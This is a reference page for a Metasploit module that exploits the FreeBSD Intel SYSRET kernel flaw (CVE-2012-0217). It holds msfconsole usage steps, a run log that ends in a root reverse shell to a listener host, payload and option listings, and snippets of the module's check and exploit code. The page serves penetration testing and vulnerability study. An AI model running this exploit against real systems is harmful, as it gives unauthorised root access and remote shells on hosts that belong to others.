FreeBSD Intel SYSRET Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/freebsd/local/intel_sysret_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: FreeBSD Intel SYSRET Privilege Escalation
Module: exploit/freebsd/local/intel_sysret_priv_esc
Source code: modules/exploits/freebsd/local/intel_sysret_priv_esc.rb
Disclosure date: 2012-06-12
Last modification time: 2020-07-18 23:31:34 +0000
Supported architecture(s): x64
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-0217
This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64).
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/freebsd/local/intel_sysret_priv_esc
msf exploit(intel_sysret_priv_esc) > show targets
... a list of targets ...
msf exploit(intel_sysret_priv_esc) > set TARGET target-id
msf exploit(intel_sysret_priv_esc) > show options
... show and set options ...
msf exploit(intel_sysret_priv_esc) > set SESSION session-id
msf exploit(intel_sysret_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors.
By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register.
However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution.
Vulnerable Application
This module has been tested successfully on:
- FreeBSD 8.3-RELEASE (amd64)
- FreeBSD 9.0-RELEASE (amd64)
Verification Steps
- Start
msfconsole - Get a session
use exploit/freebsd/local/intel_sysret_priv_escset SESSION <SESSION>checkrun- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
WritableDir
A writable directory file system path. (default: /tmp)
Scenarios
FreeBSD 9.0-RELEASE
msf5 > use exploit/freebsd/local/intel_sysret_priv_esc
msf5 exploit(freebsd/local/intel_sysret_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/intel_sysret_priv_esc) > set lhost 123.123.123.188
lhost => 123.123.123.188
msf5 exploit(freebsd/local/intel_sysret_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 123.123.123.188:4444
[+] FreeBSD version 9.0-RELEASE appears vulnerable
[+] System architecture amd64 is supported
[+] hw.model: Intel(R) Core(TM) i9-1337 CPU @ 9.99GHz is vulnerable
[*] Writing '/tmp/.mTaR4rAPd.c' (4781 bytes) ...
[*] Max line length is 131073
[*] Writing 4781 bytes in 1 chunks of 17475 bytes (octal-encoded), using printf
[*] Writing '/tmp/.LBGkIVh' (218 bytes) ...
[*] Max line length is 131073
[*] Writing 218 bytes in 1 chunks of 614 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
[*]
[*] [*] Retrieving host information...
[*] [+] CPU: GenuineIntel
[*] [+] sysname: FreeBSD
[*] [+] release: 9.0-RELEASE
[*] [+] version: FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 [email protected]:/usr/obj/usr/src/sys/GENERIC
[*] [+] machine: amd64
[*] [*] Validating target OS and version...
[*] [+] Vulnerable :-)
[*] [*] Resolving kernel addresses...
[*] [+] Resolved Xofl to 0xffffffff80b02e70
[*] [+] Resolved Xbnd to 0xffffffff80b02ea0
[*] [+] Resolved Xill to 0xffffffff80b02ed0
[*] [+] Resolved Xdna to 0xffffffff80b02f00
[*] [+] Resolved Xpage to 0xffffffff80b03240
[*] [+] Resolved Xfpu to 0xffffffff80b02fc0
[*] [+] Resolved Xalign to 0xffffffff80b03080
[*] [+] Resolved Xmchk to 0xffffffff80b02f60
[*] [+] Resolved Xxmm to 0xffffffff80b02ff0
[*] [*] Setup...
[*] [+] Trigger code...
[*] [+] Trampoline code...
[*] [*] Fire in the hole!
[*] [*] Got root!
[+] Success! Executing payload...
[*] Command shell session 2 opened (123.123.123.188:4444 -> 123.123.123.136:61024) at 2018-12-09 10:40:16 -0500
[+] Deleted /tmp/.mTaR4rAPd.c
[+] Deleted /tmp/.mTaR4rAPd
[+] Deleted /tmp/.LBGkIVh
id
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
FreeBSD freebsd-9-0 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64
Go back to menu.
Msfconsole Usage
Here is how the freebsd/local/intel_sysret_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/freebsd/local/intel_sysret_priv_esc
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(freebsd/local/intel_sysret_priv_esc) > show info
Name: FreeBSD Intel SYSRET Privilege Escalation
Module: exploit/freebsd/local/intel_sysret_priv_esc
Platform: BSD
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2012-06-12
Provided by:
Rafal Wojtczuk
John Baldwin
iZsh
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a vulnerability in the FreeBSD kernel, when
running on 64-bit Intel processors. By design, 64-bit processors
following the X86-64 specification will trigger a general protection
fault (GPF) when executing a SYSRET instruction with a non-canonical
address in the RCX register. However, Intel processors check for a
non-canonical address prior to dropping privileges, causing a GPF in
privileged mode. As a result, the current userland RSP stack pointer
is restored and executed, resulting in privileged code execution.
This module has been tested successfully on: FreeBSD 8.3-RELEASE
(amd64); and FreeBSD 9.0-RELEASE (amd64).
References:
http://www.securityfocus.com/bid/53856
https://nvd.nist.gov/vuln/detail/CVE-2012-0217
https://www.exploit-db.com/exploits/28718
https://packetstormsecurity.com/files/113584
https://www.freebsd.org/security/patches/SA-12:04/sysret.patch
https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/
https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c
https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/
http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc
https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation
Module Options
This is a complete list of options available in the freebsd/local/intel_sysret_priv_esc exploit:
msf6 exploit(freebsd/local/intel_sysret_priv_esc) > show options
Module options (exploit/freebsd/local/intel_sysret_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the freebsd/local/intel_sysret_priv_esc exploit:
msf6 exploit(freebsd/local/intel_sysret_priv_esc) > show advanced
Module advanced options (exploit/freebsd/local/intel_sysret_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the freebsd/local/intel_sysret_priv_esc module can exploit:
msf6 exploit(freebsd/local/intel_sysret_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/local/intel_sysret_priv_esc exploit:
msf6 exploit(freebsd/local/intel_sysret_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x64/exec normal No BSD x64 Execute Command
1 payload/bsd/x64/shell_bind_ipv6_tcp normal No BSD x64 Command Shell, Bind TCP Inline (IPv6)
2 payload/bsd/x64/shell_bind_tcp normal No BSD x64 Shell Bind TCP
3 payload/bsd/x64/shell_bind_tcp_small normal No BSD x64 Command Shell, Bind TCP Inline
4 payload/bsd/x64/shell_reverse_ipv6_tcp normal No BSD x64 Command Shell, Reverse TCP Inline (IPv6)
5 payload/bsd/x64/shell_reverse_tcp normal No BSD x64 Shell Reverse TCP
6 payload/bsd/x64/shell_reverse_tcp_small normal No BSD x64 Command Shell, Reverse TCP Inline
7 payload/generic/custom normal No Custom Payload
8 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
9 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the freebsd/local/intel_sysret_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(freebsd/local/intel_sysret_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PATH>.c failed to compile
Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:
93: end
94: output = cmd_exec(cc_cmd)
95:
96: unless output.blank?
97: print_error(output)
98: fail_with(Failure::Unknown, "#{path}.c failed to compile")
99: end
100:
101: register_file_for_cleanup(path)
102: chmod(path)
103: end
FreeBSD version <KERNEL_RELEASE> is not vulnerable
Here is a relevant code snippet related to the "FreeBSD version <KERNEL_RELEASE> is not vulnerable" error message:
107: end
108:
109: def check
110: kernel_release = cmd_exec('uname -r').to_s
111: unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
112: return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
113: end
114: vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
115:
116: kernel_arch = cmd_exec('uname -m').to_s
117: unless kernel_arch.include?('64')
System architecture <KERNEL_ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <KERNEL_ARCH> is not supported" error message:
113: end
114: vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
115:
116: kernel_arch = cmd_exec('uname -m').to_s
117: unless kernel_arch.include?('64')
118: return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
119: end
120: vprint_good("System architecture #{kernel_arch} is supported")
121:
122: hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
123: unless hw_model.downcase.include?('intel')
<HW_MODEL> is not vulnerable
Here is a relevant code snippet related to the "<HW_MODEL> is not vulnerable" error message:
119: end
120: vprint_good("System architecture #{kernel_arch} is supported")
121:
122: hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
123: unless hw_model.downcase.include?('intel')
124: return CheckCode::Safe("#{hw_model} is not vulnerable")
125: end
126: vprint_good("#{hw_model} is vulnerable")
127:
128: CheckCode::Appears
129: end
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
129: end
130:
131: def exploit
132: if is_root?
133: unless datastore['ForceExploit']
134: fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
135: end
136: end
137:
138: unless writable?(base_dir)
139: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
134: fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
135: end
136: end
137:
138: unless writable?(base_dir)
139: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
140: end
141:
142: # Upload and compile exploit executable
143: executable_name = ".#{rand_text_alphanumeric(5..10)}"
144: executable_path = "#{base_dir}/#{executable_name}"
Exploitation failed
Here is a relevant code snippet related to the "Exploitation failed" error message:
152: print_status('Launching exploit...')
153: output = cmd_exec(executable_path)
154: output.each_line { |line| vprint_status line.chomp }
155:
156: unless is_root?
157: fail_with(Failure::Unknown, 'Exploitation failed')
158: end
159: print_good('Success! Executing payload...')
160:
161: cmd_exec("#{payload_path} & echo ")
162: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- BID-53856
- CVE-2012-0217
- EDB-28718
- PACKETSTORM-113584
- https://www.freebsd.org/security/patches/SA-12:04/sysret.patch
- https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/
- https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c
- https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/
- http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc
- https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation
See Also
Check also the following modules related to this module:
- exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
- exploit/freebsd/local/mmap
- exploit/freebsd/local/rtld_execl_priv_esc
- exploit/freebsd/local/watchguard_fix_corrupt_mail
- auxiliary/scanner/http/intel_amt_digest_bypass
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Related Nessus plugins:
- MS12-042: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2711167)
- RHEL 5 : kernel (RHSA-2012:0721)
- SuSE 10 Security Update : Xen (ZYPP Patch Number 8180)
- CentOS 5 : kernel (CESA-2012:0721)
- FreeBSD : FreeBSD -- Privilege escalation when returning from kernel (aed44c4e-c067-11e1-b5e0-000c299b62e1)
- Debian DSA-2501-1 : xen - several vulnerabilities
- Debian DSA-2508-1 : kfreebsd-8 - privilege escalation
- Scientific Linux Security Update : kernel on SL5.x i386/x86_64 (20120612)
- RHEL 5 : kernel (RHSA-2012:0720)
- SuSE 11.1 Security Update : Xen (SAT Patch Number 6399)
Authors
- Rafal Wojtczuk
- John Baldwin
- iZsh
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
